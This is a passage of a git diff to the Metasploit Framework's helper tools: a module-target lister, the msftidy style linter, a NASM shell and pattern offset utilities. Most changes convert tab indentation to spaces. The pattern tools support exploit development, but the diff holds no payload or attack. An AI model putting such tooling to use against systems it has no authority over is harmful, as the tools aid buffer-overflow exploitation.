try and match against the Targets field"] ) opts.parse(ARGV) { |opt, idx, val| - case opt - when "-h" - puts "\nMetasploit Script for Displaying Module Target information." - puts "==========================================================" - puts opts.usage - exit - when "-s" - puts "Sorting by Target" - sort = 1 - when "-r" - puts "Reverse Sorting" - sort = 2 - when "-x" - puts "Filter: #{val}" - filter = val - fil=1 - end + case opt + when "-h" + puts "\nMetasploit Script for Displaying Module Target information." + puts "==========================================================" + puts opts.usage + exit + when "-s" + puts "Sorting by Target" + sort = 1 + when "-r" + puts "Reverse Sorting" + sort = 2 + when "-x" + puts "Filter: #{val}" + filter = val + fil=1 + end } Indent = ' ' @@ -59,30 +59,30 @@ Indent = ' ' $framework = Msf::Simple::Framework.create('DisableDatabase' => true) tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Module Targets', - 'Indent' => Indent.length, - 'Columns' => [ 'Module name','Target' ] + 'Header' => 'Module Targets', + 'Indent' => Indent.length, + 'Columns' => [ 'Module name','Target' ] ) all_modules = $framework.exploits all_modules.each_module { |name, mod| - x = mod.new - x.targets.each do |targ| - if fil==0 or targ.name=~/#{filter}/ - tbl << [ x.fullname, targ.name ] - end - end + x = mod.new + x.targets.each do |targ| + if fil==0 or targ.name=~/#{filter}/ + tbl << [ x.fullname, targ.name ] + end + end } if sort == 1 - tbl.sort_rows(1) + tbl.sort_rows(1) end if sort == 2 - tbl.sort_rows(1) - tbl.rows.reverse + tbl.sort_rows(1) + tbl.rows.reverse end puts tbl.to_s diff --git a/tools/msf_irb_shell.rb b/tools/msf_irb_shell.rb index a3ece86920..46f9575d15 100755 --- a/tools/msf_irb_shell.rb +++ b/tools/msf_irb_shell.rb @@ -6,7 +6,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index 406c30b463..49a6e0ca4c 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -9,418 +9,422 @@ CHECK_OLD_RUBIES = !!ENV['MSF_CHECK_OLD_RUBIES'] if CHECK_OLD_RUBIES - require 'rvm' - warn "This is going to take a while, depending on the number of Rubies you have installed." + require 'rvm' + warn "This is going to take a while, depending on the number of Rubies you have installed." end class String - def red - "\e[1;31;40m#{self}\e[0m" - end + def red + "\e[1;31;40m#{self}\e[0m" + end - def yellow - "\e[1;33;40m#{self}\e[0m" - end + def yellow + "\e[1;33;40m#{self}\e[0m" + end - def ascii_only? - self =~ Regexp.new('[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]', nil, 'n') ? false : true - end + def ascii_only? + self =~ Regexp.new('[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]', nil, 'n') ? false : true + end end class Msftidy - LONG_LINE_LENGTH = 200 # From 100 to 200 which is stupidly long + LONG_LINE_LENGTH = 200 # From 100 to 200 which is stupidly long - def initialize(source_file) - @source = load_file(source_file) - @name = source_file - end + def initialize(source_file) + @source = load_file(source_file) + @name = source_file + end - public + public - ## - # - # The following two functions only print what you throw at them, - # with the option of displying the line number. error() is meant - # for mistakes that might actually break something. - # - ## + ## + # + # The following two functions only print what you throw at them, + # with the option of displying the line number. error() is meant + # for mistakes that might actually break something. + # + ## - def warn(txt, line=0) - line_msg = (line>0) ? ":#{line.to_s}" : '' - puts "#{@name}#{line_msg} - [#{'WARNING'.yellow}] #{txt}" - end + def warn(txt, line=0) + line_msg = (line>0) ? ":#{line.to_s}" : '' + puts "#{@name}#{line_msg} - [#{'WARNING'.yellow}] #{txt}" + end - def error(txt, line=0) - line_msg = (line>0) ? ":#{line.to_s}" : '' - puts "#{@name}#{line_msg} - [#{'ERROR'.red}] #{txt}" - end + def error(txt, line=0) + line_msg = (line>0) ? ":#{line.to_s}" : '' + puts "#{@name}#{line_msg} - [#{'ERROR'.red}] #{txt}" + end - ## - # - # The functions below are actually the ones checking the source code - # - ## + ## + # + # The functions below are actually the ones checking the source code + # + ## - def check_ref_identifiers - in_super = false - in_refs = false + def check_ref_identifiers + in_super = false + in_refs = false - @source.each_line do |line| - if !in_super and line =~ /[\n\t]+super\(/ - in_super = true - elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/ - in_super = false - break - end + @source.each_line do |line| + if !in_super and line =~ /[\n\t]+super\(/ + in_super = true + elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/ + in_super = false + break + end - if in_super and line =~ /'References'[[:space:]]*=>/ - in_refs = true - elsif in_super and in_refs and line =~ /^[[:space:]]+\],*/m - break - elsif in_super and in_refs and line =~ /[^#]+\[[[:space:]]*['"](.+)['"][[:space:]]*,[[:space:]]*['"](.+)['"][[:space:]]*\]/ - identifier = $1.strip.upcase - value = $2.strip + if in_super and line =~ /'References'[[:space:]]*=>/ + in_refs = true + elsif in_super and in_refs and line =~ /^[[:space:]]+\],*/m + break + elsif in_super and in_refs and line =~ /[^#]+\[[[:space:]]*['"](.+)['"][[:space:]]*,[[:space:]]*['"](.+)['"][[:space:]]*\]/ + identifier = $1.strip.upcase + value = $2.strip - case identifier - when 'CVE' - warn("Invalid CVE format: '#{value}'") if value !~ /^\d{4}\-\d{4}$/ - when 'OSVDB' - warn("Invalid OSVDB format: '#{value}'") if value !~ /^\d+$/ - when 'BID' - warn("Invalid BID format: '#{value}'") if value !~ /^\d+$/ - when 'MSB' - warn("Invalid MSB format: '#{value}'") if value !~ /^MS\d+\-\d+$/ - when 'MIL' - warn("milw0rm references are no longer supported.") - when 'EDB' - warn("Invalid EDB reference") if value !~ /^\d+$/ - when 'WVE' - warn("Invalid WVE reference") if value !~ /^\d+\-\d+$/ - when 'US-CERT-VU' - warn("Invalid US-CERT-VU reference") if value !~ /^\d+$/ - when 'URL' - if value =~ /^http:\/\/www\.osvdb\.org/ - warn("Please use 'OSVDB' for '#{value}'") - elsif value =~ /^http:\/\/cvedetails\.com\/cve/ - warn("Please use 'CVE' for '#{value}'") - elsif value =~ /^http:\/\/www\.securityfocus\.com\/bid\// - warn("Please use 'BID' for '#{value}'") - elsif value =~ /^http:\/\/www\.microsoft\.com\/technet\/security\/bulletin\// - warn("Please use 'MSB' for '#{value}'") - elsif value =~ /^http:\/\/www\.exploit\-db\.com\/exploits\// - warn("Please use 'EDB' for '#{value}'") - elsif value =~ /^http:\/\/www\.wirelessve\.org\/entries\/show\/WVE\-/ - warn("Please use 'WVE' for '#{value}'") - elsif value =~ /^http:\/\/www\.kb\.cert\.org\/vuls\/id\// - warn("Please use 'US-CERT-VU' for '#{value}'") - end - end - end - end - end + case identifier + when 'CVE' + warn("Invalid CVE format: '#{value}'") if value !~ /^\d{4}\-\d{4}$/ + when 'OSVDB' + warn("Invalid OSVDB format: '#{value}'") if value !~ /^\d+$/ + when 'BID' + warn("Invalid BID format: '#{value}'") if value !~ /^\d+$/ + when 'MSB' + warn("Invalid MSB format: '#{value}'") if value !~ /^MS\d+\-\d+$/ + when 'MIL' + warn("milw0rm references are no longer supported.") + when 'EDB' + warn("Invalid EDB reference") if value !~ /^\d+$/ + when 'WVE' + warn("Invalid WVE reference") if value !~ /^\d+\-\d+$/ + when 'US-CERT-VU' + warn("Invalid US-CERT-VU reference") if value !~ /^\d+$/ + when 'URL' + if value =~ /^http:\/\/www\.osvdb\.org/ + warn("Please use 'OSVDB' for '#{value}'") + elsif value =~ /^http:\/\/cvedetails\.com\/cve/ + warn("Please use 'CVE' for '#{value}'") + elsif value =~ /^http:\/\/www\.securityfocus\.com\/bid\// + warn("Please use 'BID' for '#{value}'") + elsif value =~ /^http:\/\/www\.microsoft\.com\/technet\/security\/bulletin\// + warn("Please use 'MSB' for '#{value}'") + elsif value =~ /^http:\/\/www\.exploit\-db\.com\/exploits\// + warn("Please use 'EDB' for '#{value}'") + elsif value =~ /^http:\/\/www\.wirelessve\.org\/entries\/show\/WVE\-/ + warn("Please use 'WVE' for '#{value}'") + elsif value =~ /^http:\/\/www\.kb\.cert\.org\/vuls\/id\// + warn("Please use 'US-CERT-VU' for '#{value}'") + end + end + end + end + end - def check_snake_case_filename - sep = File::SEPARATOR - good_name = Regexp.new "^[a-z0-9_#{sep}]+\.rb$" - unless @name =~ good_name - warn "Filenames should be alphanum and snake case." - end - end + def check_snake_case_filename + sep = File::SEPARATOR + good_name = Regexp.new "^[a-z0-9_#{sep}]+\.rb$" + unless @name =~ good_name + warn "Filenames should be alphanum and snake case." + end + end - def check_old_keywords - max_count = 10 - counter = 0 - if @source =~ /^##/ - @source.each_line do |line| - # If exists, the $Id$ keyword should appear at the top of the code. - # If not (within the first 10 lines), then we assume there's no - # $Id$, and then bail. - break if counter >= max_count + def check_old_keywords + max_count = 10 + counter = 0 + if @source =~ /^##/ + @source.each_line do |line| + # If exists, the $Id$ keyword should appear at the top of the code. + # If not (within the first 10 lines), then we assume there's no + # $Id$, and then bail. + break if counter >= max_count - if line =~ /^#[[:space:]]*\$Id\$/i - warn("Keyword $Id$ is no longer needed.") - break - end + if line =~ /^#[[:space:]]*\$Id\$/i + warn("Keyword $Id$ is no longer needed.") + break + end - counter += 1 - end - end + counter += 1 + end + end - if @source =~ /'Version'[[:space:]]*=>[[:space:]]*['"]\$Revision\$['"]/ - warn("Keyword $Revision$ is no longer needed.") - end - end + if @source =~ /'Version'[[:space:]]*=>[[:space:]]*['"]\$Revision\$['"]/ + warn("Keyword $Revision$ is no longer needed.") + end + end - def check_verbose_option - if @source =~ /Opt(Bool|String).new\([[:space:]]*('|")VERBOSE('|")[[:space:]]*,[[:space:]]*\[[[:space:]]*/ - warn("VERBOSE Option is already part of advanced settings, no need to add it manually.") - end - end + def check_verbose_option + if @source =~ /Opt(Bool|String).new\([[:space:]]*('|")VERBOSE('|")[[:space:]]*,[[:space:]]*\[[[:space:]]*/ + warn("VERBOSE Option is already part of advanced settings, no need to add it manually.") + end + end - def check_badchars - badchars = %Q|&<=>| + def check_badchars + badchars = %Q|&<=>| - in_super = false - in_author = false + in_super = false + in_author = false - @source.each_line do |line| - # - # Mark our "super" code block - # - if !in_super and line =~ /[\n\t]+super\(/ - in_super = true - elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/ - in_super = false - break - end + @source.each_line do |line| + # + # Mark our "super" code block + # + if !in_super and line =~ /[\n\t]+super\(/ + in_super = true + elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/ + in_super = false + break + end - # - # While in super() code block - # - if in_super and line =~ /'Name'[[:space:]]*=>[[:space:]]*['|"](.+)['|"]/ - # Now we're checking the module titlee - mod_title = $1 - mod_title.each_char do |c| - if badchars.include?(c) - error("'#{c}' is a bad character in module title.") - end - end + # + # While in super() code block + # + if in_super and line =~ /'Name'[[:space:]]*=>[[:space:]]*['|"](.+)['|"]/ + # Now we're checking the module titlee + mod_title = $1 + mod_title.each_char do |c| + if badchars.include?(c) + error("'#{c}' is a bad character in module title.") + end + end - if not mod_title.ascii_only? - error("Please avoid unicode or non-printable characters in module title.") - end + if not mod_title.ascii_only? + error("Please avoid unicode or non-printable characters in module title.") + end - # Since we're looking at the module title, this line clearly cannot be - # the author block, so no point to run more code below. - next - end + # Since we're looking at the module title, this line clearly cannot be + # the author block, so no point to run more code below. + next + end - # - # Mark our 'Author' block - # - if in_super and !in_author and line =~ /'Author'[[:space:]]*=>/ - in_author = true - elsif in_super and in_author and line =~ /\],*\n/ or line =~ /['"][[:print:]]*['"][[:space:]]*=>/ - in_author = false - end + # + # Mark our 'Author' block + # + if in_super and !in_author and line =~ /'Author'[[:space:]]*=>/ + in_author = true + elsif in_super and in_author and line =~ /\],*\n/ or line =~ /['"][[:print:]]*['"][[:space:]]*=>/ + in_author = false + end - # - # While in 'Author' block, check for Twitter handles - # - if in_super and in_author - if line =~ /Author/ - author_name = line.scan(/\[[[:space:]]*['"](.+)['"]/).flatten[-1] || '' - else - author_name = line.scan(/['"](.+)['"]/).flatten[-1] || '' - end + # + # While in 'Author' block, check for Twitter handles + # + if in_super and in_author + if line =~ /Author/ + author_name = line.scan(/\[[[:space:]]*['"](.+)['"]/).flatten[-1] || '' + else + author_name = line.scan(/['"](.+)['"]/).flatten[-1] || '' + end - if author_name =~ /^@.+$/ - error("No Twitter handles, please. Try leaving it in a comment instead.") - end + if author_name =~ /^@.+$/ + error("No Twitter handles, please. Try leaving it in a comment instead.") + end - if not author_name.ascii_only? - error("Please avoid unicode or non-printable characters in Author") - end - end - end - end + if not author_name.ascii_only? + error("Please avoid unicode or non-printable characters in Author") + end + end + end + end - def check_extname - if File.extname(@name) != '.rb' - error("Module should be a '.rb' file, or it won't load.") - end - end + def check_extname + if File.extname(@name) != '.rb' + error("Module should be a '.rb' file, or it won't load.") + end + end - def test_old_rubies(f_rel) - return true unless CHECK_OLD_RUBIES - return true unless Object.const_defined? :RVM - puts "Checking syntax for #{f_rel}." - rubies ||= RVM.list_strings - res = %x{rvm all do ruby -c #{f_rel}}.split("\n").select {|msg| msg =~ /Syntax OK/} - error("Fails alternate Ruby version check") if rubies.size != res.size - end + def test_old_rubies(f_rel) + return true unless CHECK_OLD_RUBIES + return true unless Object.const_defined? :RVM + puts "Checking syntax for #{f_rel}." + rubies ||= RVM.list_strings + res = %x{rvm all do ruby -c #{f_rel}}.split("\n").select {|msg| msg =~ /Syntax OK/} + error("Fails alternate Ruby version check") if rubies.size != res.size + end - def check_ranking - return if @source !~ / \< Msf::Exploit/ + def check_ranking + return if @source !~ / \< Msf::Exploit/ - available_ranks = [ - 'ManualRanking', - 'LowRanking', - 'AverageRanking', - 'NormalRanking', - 'GoodRanking', - 'GreatRanking', - 'ExcellentRanking' - ] + available_ranks = [ + 'ManualRanking', + 'LowRanking', + 'AverageRanking', + 'NormalRanking', + 'GoodRanking', + 'GreatRanking', + 'ExcellentRanking' + ] - if @source =~ /Rank \= (\w+)/ - if not available_ranks.include?($1) - error("Invalid ranking. You have '#{$1}'") - end - end - end + if @source =~ /Rank \= (\w+)/ + if not available_ranks.include?($1) + error("Invalid ranking. You have '#{$1}'") + end + end + end - def check_disclosure_date - return if @source =~ /Generic Payload Handler/ or @source !~ / \< Msf::Exploit/ + def check_disclosure_date + return if @source =~ /Generic Payload Handler/ or @source !~ / \< Msf::Exploit/ - # Check disclosure date format - if @source =~ /'DisclosureDate'.*\=\>[\x0d\x20]*['\"](.+)['\"]/ - d = $1 #Captured date - # Flag if overall format is wrong - if d =~ /^... \d{1,2}\,* \d{4}/ - # Flag if month format is wrong - m = d.split[0] - months = [ - 'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', - 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec' - ] + # Check disclosure date format + if @source =~ /'DisclosureDate'.*\=\>[\x0d\x20]*['\"](.+)['\"]/ + d = $1 #Captured date + # Flag if overall format is wrong + if d =~ /^... \d{1,2}\,* \d{4}/ + # Flag if month format is wrong + m = d.split[0] + months = [ + 'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', + 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec' + ] - error('Incorrect disclosure month format') if months.index(m).nil? - else - error('Incorrect disclosure date format') - end - else - error('Exploit is missing a disclosure date') - end - end + error('Incorrect disclosure month format') if months.index(m).nil? + else + error('Incorrect disclosure date format') + end + else + error('Exploit is missing a disclosure date') + end + end - def check_title_casing - if @source =~ /'Name'[[:space:]]*=>[[:space:]]*['"](.+)['"],*$/ - words = $1.split - words.each do |word| - if %w{and or the for to in of as with a an on at via}.include?(word) - next - elsif %w{pbot}.include?(word) - elsif word =~ /^[a-z]+$/ - warn("Suspect capitalization in module title: '#{word}'") - end - end - end - end + def check_title_casing + if @source =~ /'Name'[[:space:]]*=>[[:space:]]*['"](.+)['"],*$/ + words = $1.split + words.each do |word| + if %w{and or the for to in of as with a an on at via}.include?(word) + next + elsif %w{pbot}.include?(word) + elsif word =~ /^[a-z]+$/ + warn("Suspect capitalization in module title: '#{word}'") + end + end + end + end - def check_bad_terms - # "Stack overflow" vs "Stack buffer overflow" - See explanation: - # http://blogs.technet.com/b/srd/archive/2009/01/28/stack-overflow-stack-exhaustion-not-the-same-as-stack-buffer-overflow.aspx - if @source =~ /class Metasploit\d < Msf::Exploit::Remote/ and @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i - warn('Contains "stack overflow" You mean "stack buffer overflow"?') - elsif @source =~ /class Metasploit\d < Msf::Auxiliary/ and @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i - warn('Contains "stack overflow" You mean "stack exhaustion"?') - end - end + def check_bad_terms + # "Stack overflow" vs "Stack buffer overflow" - See explanation: + # http://blogs.technet.com/b/srd/archive/2009/01/28/stack-overflow-stack-exhaustion-not-the-same-as-stack-buffer-overflow.aspx + if @source =~ /class Metasploit\d < Msf::Exploit::Remote/ and @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i + warn('Contains "stack overflow" You mean "stack buffer overflow"?') + elsif @source =~ /class Metasploit\d < Msf::Auxiliary/ and @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i + warn('Contains "stack overflow" You mean "stack exhaustion"?') + end + end - def check_function_basics - functions = @source.scan(/def (\w+)\(*(.+)\)*/) + def check_function_basics + functions = @source.scan(/def (\w+)\(*(.+)\)*/) - functions.each do |func_name, args| - # Check argument length - args_length = args.split(",").length - warn("Poorly designed argument list in '#{func_name}()'. Try a hash.") if args_length > 6 - end - end + functions.each do |func_name, args| + # Check argument length + args_length = args.split(",").length + warn("Poorly designed argument list in '#{func_name}()'. Try a hash.") if args_length > 6 + end + end - def check_lines - url_ok = true - no_stdio = true - in_comment = false - in_literal = false - src_ended = false - idx = 0 + def check_lines + url_ok = true + no_stdio = true + in_comment = false + in_literal = false + src_ended = false + idx = 0 - @source.each_line { |ln| - idx += 1 + @source.each_line { |ln| + idx += 1 - # block comment awareness - if ln =~ /^=end$/ - in_comment = false - next - end - in_comment = true if ln =~ /^=begin$/ - next if in_comment + # block comment awareness + if ln =~ /^=end$/ + in_comment = false + next + end + in_comment = true if ln =~ /^=begin$/ + next if in_comment - # block string awareness (ignore indentation in these) - in_literal = false if ln =~ /^EOS$/ - next if in_literal - in_literal = true if ln =~ /\<\<-EOS$/ + # block string awareness (ignore indentation in these) + in_literal = false if ln =~ /^EOS$/ + next if in_literal + in_literal = true if ln =~ /\<\<-EOS$/ - # ignore stuff after an __END__ line - src_ended = true if ln =~ /^__END__$/ - next if src_ended + # ignore stuff after an __END__ line + src_ended = true if ln =~ /^__END__$/ + next if src_ended - if ln =~ /[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]/ - error("Unicode detected: #{ln.inspect}", idx) - end + if ln =~ /[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]/ + error("Unicode detected: #{ln.inspect}", idx) + end - if (ln.length > LONG_LINE_LENGTH) - warn("Line exceeding #{LONG_LINE_LENGTH.to_s} bytes", idx) - end + if (ln.length > LONG_LINE_LENGTH) + warn("Line exceeding #{LONG_LINE_LENGTH.to_s} bytes", idx) + end - if ln =~ /[ \t]$/ - warn("Spaces at EOL", idx) - end + if ln =~ /[ \t]$/ + warn("Spaces at EOL", idx) + end - # Allow tabs or spaces as indent characters, but not both. - # This should check for spaces only on October 8, 2013 - if (ln.length > 1) and (ln =~ /^([\t ]*)/) and ($1.match(/\x20\x09|\x09\x20/)) - warn("Space-Tab mixed indent: #{ln.inspect}", idx) - end + # Check for mixed tab/spaces. Upgrade this to an error() soon. + if (ln.length > 1) and (ln =~ /^([\t ]*)/) and ($1.match(/\x20\x09|\x09\x20/)) + warn("Space-Tab mixed indent: #{ln.inspect}", idx) + end - if ln =~ /\r$/ - warn("Carriage return EOL", idx) - end + # Check for tabs. Upgrade this to an error() soon. + if (ln.length > 1) and (ln =~ /^\x09/) + warn("Tabbed indent: #{ln.inspect}", idx) + end - url_ok = false if ln =~ /\.com\/projects\/Framework/ - if ln =~ /File\.open/ and ln =~ /[\"\'][arw]/ - if not ln =~ /[\"\'][wra]\+?b\+?[\"\']/ - warn("File.open without binary mode", idx) - end - end + if ln =~ /\r$/ + warn("Carriage return EOL", idx) + end - if ln =~/^[ \t]*load[ \t]+[\x22\x27]/ - error("Loading (not requiring) a file: #{ln.inspect}", idx) - end + url_ok = false if ln =~ /\.com\/projects\/Framework/ + if ln =~ /File\.open/ and ln =~ /[\"\'][arw]/ + if not ln =~ /[\"\'][wra]\+?b\+?[\"\']/ + warn("File.open without binary mode", idx) + end + end - # The rest of these only count if it's not a comment line - next if ln =~ /[[:space:]]*#/ + if ln =~/^[ \t]*load[ \t]+[\x22\x27]/ + error("Loading (not requiring) a file: #{ln.inspect}", idx) + end - if ln =~ /\$std(?:out|err)/i or ln =~ /[[:space:]]puts/ - no_stdio = false - error("Writes to stdout", idx) - end + # The rest of these only count if it's not a comment line + next if ln =~ /[[:space:]]*#/ - # do not change datastore in code - if ln =~ /(?<!\.)datastore\[["'][^"']+["']\]\s*=(?![=~>])/ - error("datastore is modified in code: #{ln.inspect}", idx) - end - } - end + if ln =~ /\$std(?:out|err)/i or ln =~ /[[:space:]]puts/ + no_stdio = false + error("Writes to stdout", idx) + end - private + # do not change datastore in code + if ln =~ /(?<!\.)datastore\[["'][^"']+["']\]\s*=(?![=~>])/ + error("datastore is modified in code: #{ln.inspect}", idx) + end + } + end - def load_file(file) - f = open(file, 'rb') - buf = f.read(f.stat.size) - f.close - return buf - end + private + + def load_file(file) + f = open(file, 'rb') + buf = f.read(f.stat.size) + f.close + return buf + end end def run_checks(f_rel) - tidy = Msftidy.new(f_rel) - tidy.check_ref_identifiers - tidy.check_old_keywords - tidy.check_verbose_option - tidy.check_badchars - tidy.check_extname - tidy.test_old_rubies(f_rel) - tidy.check_ranking - tidy.check_disclosure_date - tidy.check_title_casing - tidy.check_bad_terms - tidy.check_function_basics - tidy.check_lines + tidy = Msftidy.new(f_rel) + tidy.check_ref_identifiers + tidy.check_old_keywords + tidy.check_verbose_option + tidy.check_badchars + tidy.check_extname + tidy.test_old_rubies(f_rel) + tidy.check_ranking + tidy.check_disclosure_date + tidy.check_title_casing + tidy.check_bad_terms + tidy.check_function_basics + tidy.check_lines tidy.check_snake_case_filename end @@ -433,37 +437,37 @@ end dirs = ARGV if dirs.length < 1 - $stderr.puts "Usage: #{File.basename(__FILE__)} <directory or file>" - exit(1) + $stderr.puts "Usage: #{File.basename(__FILE__)} <directory or file>" + exit(1) end dirs.each { |dir| - f = nil - old_dir = nil + f = nil + old_dir = nil - if dir - if File.file?(dir) - # whoa, a single file! - f = File.basename(dir) - dir = File.dirname(dir) - end + if dir + if File.file?(dir) + # whoa, a single file! + f = File.basename(dir) + dir = File.dirname(dir) + end - old_dir = Dir.getwd - Dir.chdir(dir) - dparts = dir.split('/') - else - dparts = [] - end + old_dir = Dir.getwd + Dir.chdir(dir) + dparts = dir.split('/') + else + dparts = [] + end - # Only one file? - if f - run_checks(f) - else - # Do a recursive check of the specified directory - Dir.glob('**/*.rb') { |f| - run_checks(f) - } - end + # Only one file? + if f + run_checks(f) + else + # Do a recursive check of the specified directory + Dir.glob('**/*.rb') { |f| + run_checks(f) + } + end - Dir.chdir(old_dir) + Dir.chdir(old_dir) } diff --git a/tools/nasm_shell.rb b/tools/nasm_shell.rb index 24a4f57db5..850bda1154 100755 --- a/tools/nasm_shell.rb +++ b/tools/nasm_shell.rb @@ -11,7 +11,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -25,10 +25,10 @@ require 'rex/ui' # Check to make sure nasm is installed and reachable through the user's PATH. begin - Rex::Assembly::Nasm.check + Rex::Assembly::Nasm.check rescue RuntimeError - puts "#{$!}" - exit + puts "#{$!}" + exit end bits = ARGV.length > 0 ? ARGV[0].to_i : 32 @@ -43,15 +43,15 @@ shell = Rex::Ui::Text::PseudoShell.new("%bldnasm%clr") shell.init_ui(Rex::Ui::Text::Input::Stdio.new, Rex::Ui::Text::Output::Stdio.new) shell.run { |line| - line.gsub!(/(\r|\n)/, '') - line.gsub!(/\\n/, "\n") + line.gsub!(/(\r|\n)/, '') + line.gsub!(/\\n/, "\n") - break if (line =~ /^(exit|quit)/i) + break if (line =~ /^(exit|quit)/i) - begin - puts(Rex::Assembly::Nasm.disassemble( - Rex::Assembly::Nasm.assemble(line, bits), bits)) - rescue RuntimeError - puts "Error: #{$!}" - end + begin + puts(Rex::Assembly::Nasm.disassemble( + Rex::Assembly::Nasm.assemble(line, bits), bits)) + rescue RuntimeError + puts "Error: #{$!}" + end } diff --git a/tools/pattern_create.rb b/tools/pattern_create.rb index 4974845bb5..b177bd2219 100755 --- a/tools/pattern_create.rb +++ b/tools/pattern_create.rb @@ -6,7 +6,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -18,8 +18,8 @@ $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] require 'rex' if (!(length = ARGV.shift)) - $stderr.puts("Usage: #{File.basename($0)} length [set a] [set b] [set c]\n") - exit + $stderr.puts("Usage: #{File.basename($0)} length [set a] [set b] [set c]\n") + exit end # If the user supplied custom sets, use those. Otherwise, use the default diff --git a/tools/pattern_offset.rb b/tools/pattern_offset.rb index f33e3a6306..6cd69bf79f 100755 --- a/tools/pattern_offset.rb +++ b/tools/pattern_offset.rb @@ -4,7 +4,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -16,10 +16,10 @@ $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] require 'rex' if ARGV.length < 1 - $stderr.puts("Usage: #{File.basename($0)} <search item> <length of buffer>") - $stderr.puts("Default length of buffer if none is inserted: 8192") - $stderr.puts("This buffer is generated by pattern_create() in the Rex library automatically") - exit + $stderr.puts("Usage: #{File.basename($0)} <search item> <length of buffer>") + $stderr.puts("Default length of buffer if none is inserted: 8192") + $stderr.puts("This buffer is generated by pattern_create() in the Rex library automatically") + exit end value = ARGV.shift @@ -63,13 +63,13 @@ $ ./tools/pattern_offset.rb 0xFFFF4138 # The normal format is a full hexadecimal value: 0x41424344 if (value.length >= 8 and value.hex > 0) - value = value.hex + value = value.hex # However, you can also specify a four-byte string elsif (value.length == 4) - value = value.unpack("V").first + value = value.unpack("V").first else # Or even a hex value that isn't 8 bytes long - value = value.to_i(16) + value = value.to_i(16) end buffer = Rex::Text.pattern_create(len.to_i) @@ -77,48 +77,48 @@ offset = Rex::Text.pattern_offset(buffer, value) # Handle cases where there is no match by looking for "close" matches unless offset - found = false - $stderr.puts "[*] No exact matches, looking for likely candidates..." + found = false + $stderr.puts "[*] No exact matches, looking for likely candidates..." - # Look for shifts by a single byte - 0.upto(3) do |idx| - 0.upto(255) do |c| - nvb = [value].pack("V") - nvb[idx, 1] = [c].pack("C") - nvi = nvb.unpack("V").first + # Look for shifts by a single byte + 0.upto(3) do |idx| + 0.upto(255) do |c| + nvb = [value].pack("V") + nvb[idx, 1] = [c].pack("C") + nvi = nvb.unpack("V").first - off = Rex::Text.pattern_offset(buffer, nvi) - if off - mle = value - buffer[off,4].unpack("V").first - mbe = value - buffer[off,4].unpack("N").first - puts "[+] Possible match at offset #{off} (adjusted [ little-endian: #{mle} | big-endian: #{mbe} ] ) byte offset #{idx}" - found = true - end - end - end + off = Rex::Text.pattern_offset(buffer, nvi) + if off + mle = value - buffer[off,4].unpack("V").first + mbe = value - buffer[off,4].unpack("N").first + puts "[+] Possible match at offset #{off} (adjusted [ little-endian: #{mle} | big-endian: #{mbe} ] ) byte offset #{idx}" + found = true + end + end + end - exit if found + exit if found - # Look for 16-bit offsets - [0, 2].each do |idx| - 0.upto(65535) do |c| - nvb = [value].pack("V") - nvb[idx, 2] = [c].pack("v") - nvi = nvb.unpack("V").first + # Look for 16-bit offsets + [0, 2].each do |idx| + 0.upto(65535) do |c| + nvb = [value].pack("V") + nvb[idx, 2] = [c].pack("v") + nvi = nvb.unpack("V").first - off = Rex::Text.pattern_offset(buffer, nvi) - if off - mle = value - buffer[off,4].unpack("V").first - mbe = value - buffer[off,4].unpack("N").first - puts "[+] Possible match at offset #{off} (adjusted [ little-endian: #{mle} | big-endian: #{mbe} ] )" - found = true - end - end - end + off = Rex::Text.pattern_offset(buffer, nvi) + if off + mle = value - buffer[off,4].unpack("V").first + mbe = value - buffer[off,4].unpack("N").first + puts "[+] Possible match at offset #{off} (adjusted [ little-endian: #{mle} | big-endian: #{mbe} ] )" + found = true + end + end + end end while offset - puts "[*] Exact match at offset #{offset}" - offset = Rex::Text.pattern_offset(buffer, value, offset + 1) + puts "[*] Exact match at offset #{offset}" + offset = Rex::Text.pattern_offset(buffer, value, offset + 1) end diff --git a/tools/payload_lengths.rb b/tools/payload_lengths.rb index f0ba8653ee..06ac4d24f8 100755 --- a/tools/payload_lengths.rb +++ b/tools/payload_lengths.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + 